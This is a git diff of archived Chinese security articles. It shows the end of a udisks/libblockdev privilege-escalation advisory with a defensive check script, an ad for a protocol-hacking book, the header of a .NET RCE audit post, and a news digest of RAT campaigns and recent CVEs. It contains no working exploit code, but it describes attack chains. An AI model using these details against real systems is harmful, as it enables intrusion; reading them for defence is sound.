0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">立即升级发行版安全补丁</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">SUSE、Ubuntu、Debian、Fedora 已推送；确认 </span><code><span leaf="">libblockdev</span></code><span leaf=""> ≥ </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">2.28.1</span></strong><span leaf=""> 且 polkit 规则已调整。</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style:Line truncated
|
||||
## 7. 排查脚本示例
|
||||
```
|
||||
# 检查是否仍允许 allow_active
|
||||
grep -A3 modify-device /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy \
|
||||
| grep -q "<allow_active>yes</allow_active>" && \
|
||||
echo "[!] 仍存在风险，需改成 auth_admin"
|
||||
|
||||
# 检查 libblockdev 版本
|
||||
rpm -q libblockdev || dpkg -l | grep libblockdev
|
||||
|
||||
```
|
||||
## 8. 结论
|
||||
|
||||
这是一条 **“登陆即 root”**
|
||||
的超短链，攻击者无需任何 kernel 0-day。只要你有本地账号、目标机器跑着 udisks，就能在几秒内拿到最高权限。**别等漏洞利用在野流通再补，今天就打补丁或关掉 udisks——否则整片服务器集群都会被拿来开后门。**
|
||||
|
||||
——打完收工，建议马上检查你的资产清单。
|
||||
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
# 当漏洞成为“数字战争”的弹药，谁能改写攻防规则？
|
||||
异步社区 猎洞时刻 2025-06-12 04:55
|
||||
LHACK安全 2025-06-19 01:30
|
||||
|
||||
# 16日 12:4 北京
|
||||
|
||||
|
||||
|
||||
|
||||
关注我们丨文末赠书
|
||||
|
||||
@@ -36,7 +34,7 @@ Part.1
|
||||
全球安全会议（BlackHat/CanSecWest）的“漏洞魔术师”，每次分享都引发行业地震。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
▲詹姆斯·福肖（James Forshaw）
|
||||
|
||||
@@ -51,27 +49,14 @@ Part.1
|
||||
**《攻击网络协议：协议漏洞的发现+利用+保护》**
|
||||
。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
▼
|
||||
点击下方，即可购书
|
||||
|
||||
|
||||
图书购买点击下面蓝色链接：
|
||||
|
||||
|
||||
[京东购物丨点外卖领国补]()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Part.2
|
||||
|
||||
|
||||
@@ -82,9 +67,9 @@ Part.2
|
||||
**James Forshaw**
|
||||
亲授实战经验，当BlackHat、CanSecWest等顶级安全会议的常客将十余年攻防精髓倾囊相授，这本书便注定不是一本普通的技术指南——它是网络安全从业者从“脚本小子”蜕变为“漏洞猎人”的必修课，更是开发者构建安全防线的终极指南。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Part.3
|
||||
@@ -99,23 +84,23 @@ Part.3
|
||||
**基础筑基**
|
||||
——拆解TCP/IP、HTTP/2等协议的底层逻辑，结合Wireshark流量捕获与Kali Linux数据包篡改，夯实协议级分析能力。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**协议解剖**
|
||||
——深入解析二进制与文本协议的结构，包括数值型数据、布尔值、日期时间、长度可变数据等的表示方法。通过实例学习如何识别协议中的长度字段、校验和等关键元素。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞狩猎**
|
||||
——详细讲解缓冲区溢出、释放后重用等内存损坏漏洞的原理与利用方法，通过模糊测试工具和调试技术定位并利用这些漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Part.4
|
||||
@@ -133,11 +118,11 @@ Part.4
|
||||
**大量真实且经典的漏洞案例**
|
||||
为依托，通过代码示例逐步拆解漏洞利用过程，从漏洞触发条件的分析、利用代码的编写思路，到最终实现攻击效果的代码实现。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Part.5
|
||||
@@ -177,35 +162,12 @@ Part.6
|
||||
|
||||
**现在下单，让下一次安全危机成为你的“高光时刻”！**
|
||||
|
||||
|
||||
立即点击购买，开启你的安全网络世界！
|
||||
|
||||
|
||||
|
||||
图书购买点击下面蓝色链接：
|
||||
|
||||
|
||||
[京东购物丨点外卖领国补]()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**—END—**
|
||||
|
||||
|
||||
原创
|
||||
|
||||
初审：孙喆思
|
||||
|
||||
复审：栾传龙
|
||||
|
||||
终审：孙英
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
[当漏洞成为“数字战争”的弹药，谁能改写攻防规则？](https://mp.weixin.qq.com/s?__biz=MzA3NTIzMzIxNQ==&mid=2652939950&idx=1&sn=a3be91cb199c2d010b41407594d36b10&scene=21#wechat_redirect)
|
||||
**你认为协议漏洞会对企业造成什么影响？**
|
||||
|
||||
**在留言区参与互动，我们将选1名读者获得赠书1本。**
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# 攻防下帮助学员快速审计NET前台rce漏洞
|
||||
原创 知名小朋友 进击安全 2025-06-12 04:44
|
||||
实战安全研究 2025-06-19 02:00
|
||||
|
||||
**免责申明**
|
||||
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
# 美国CISA将苹果与TP-Link产品高危漏洞列入已知利用清单
|
||||
SOC 赛欧思安全研究实验室 2025-06-19 01:30
|
||||
|
||||
|
||||
- **利用 VBS 文件执行 PowerShell 脚本的新型复杂多阶段恶意软件活动**
|
||||
|
||||
最近发现的恶意软件活动揭示了一个高度复杂的多阶段感染过程，它利用严重混淆的 Visual Basic 脚本 (VBS) 文件部署远程访问木马 (RAT)，如 Remcos、LimeRAT、DCRat 和 AsyncRAT，该活动依赖一个名为 "sostener.vbs" 的文件作为其初始有效载荷的关键组件。
|
||||
|
||||
来源: GBHackers
|
||||
|
||||
|
||||
- **新型 KimJongRAT 窃取程序使用武器化 LNK 文件部署基于 PowerShell 的投放器**
|
||||
|
||||
KimJongRAT 窃取程序的两个新变种已经出现，一个采用便携式可执行文件（PE），另一个采用 PowerShell 实现，利用武器化的 Windows 快捷方式（LNK）文件作为初始感染载体，部署多级滴注器，变体以加密货币钱包为目标，这种复杂的攻击链最终目的是窃取敏感的用户数据。
|
||||
|
||||
来源: GBHackers
|
||||
|
||||
|
||||
- **华硕 Armoury Crate 漏洞让黑客获得 Windows 系统级访问权限**
|
||||
|
||||
据 Cisco Talos 最近披露并经华硕证实，华硕流行的 Armoury Crate 软件中的一个关键漏洞已使数百万 Windows 用户面临系统级入侵的风险。该漏洞被追踪为 CVE-2025-3464，允许攻击者绕过安全控制，获得受影响系统的最高权限，可能为恶意软件、勒索软件和其他高级威胁打开大门。
|
||||
|
||||
来源: GBHackers
|
||||
|
||||
|
||||
- **IBM 修补IBM i平台备份服务漏洞，包括提升权限与恶意存取的重大漏洞**
|
||||
|
||||
IBM 揭露与修补大型主机IBM i作业系统平台有关的漏洞，主要是针对IBM i 7.4与IBM i 7.5这两个版本主机系统的备份还原与媒体服务（Backup Recovery and Media Services，BRMS），并释出修补。这个漏洞的编号是 CVE-2025-33108，CVSS 评分达到 8.5。
|
||||
|
||||
来源: iThome
|
||||
|
||||
|
||||
- **BeyondTrust 工具 RCE 漏洞允许攻击者执行任意代码**
|
||||
|
||||
BeyondTrust 的远程支持(RS)和特权远程访问(PRA)产品中新披露的一个漏洞引起了整个网络安全社区的警觉。该漏洞被追踪为 CVE-2025-5309，允许攻击者通过聊天功能中的服务器端模板注入 (SSTI) 漏洞在受影响的服务器上执行任意代码，这个高严重性问题的 CVSSv4 得分为 8.6。
|
||||
|
||||
来源: GBHackers
|
||||
|
||||
|
||||
- **Veeam 漏洞导致备份服务器遭受远程攻击**
|
||||
|
||||
数据保护和备份解决方案的领先提供商 Veeam 披露了影响其广泛部署的备份软件的三个关键漏洞。这些被命名为 CVE-2025-23121、CVE-2025-24286 和 CVE-2025-24287 的漏洞可能允许攻击者远程执行代码或提升权限，给依赖 Veeam 实现数据完整性和灾难恢复的企业带来重大风险。
|
||||
|
||||
来源: GBHackers
|
||||
|
||||
|
||||
- **MCP Inspector 严重远程代码执行漏洞威胁 AI 开发环境安全**
|
||||
|
||||
研究人员近日披露，用于测试和调试机器上下文协议（Machine Context Protocol，MCP）服务器的工具 MCP Inspector 存在重大安全缺陷（CVE-2025-49596），可能允许未经认证的远程代码执行（RCE），该漏洞 CVSS v4 评分为 9.4，属于严重级别。
|
||||
|
||||
来源: CN-SEC 中文网
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user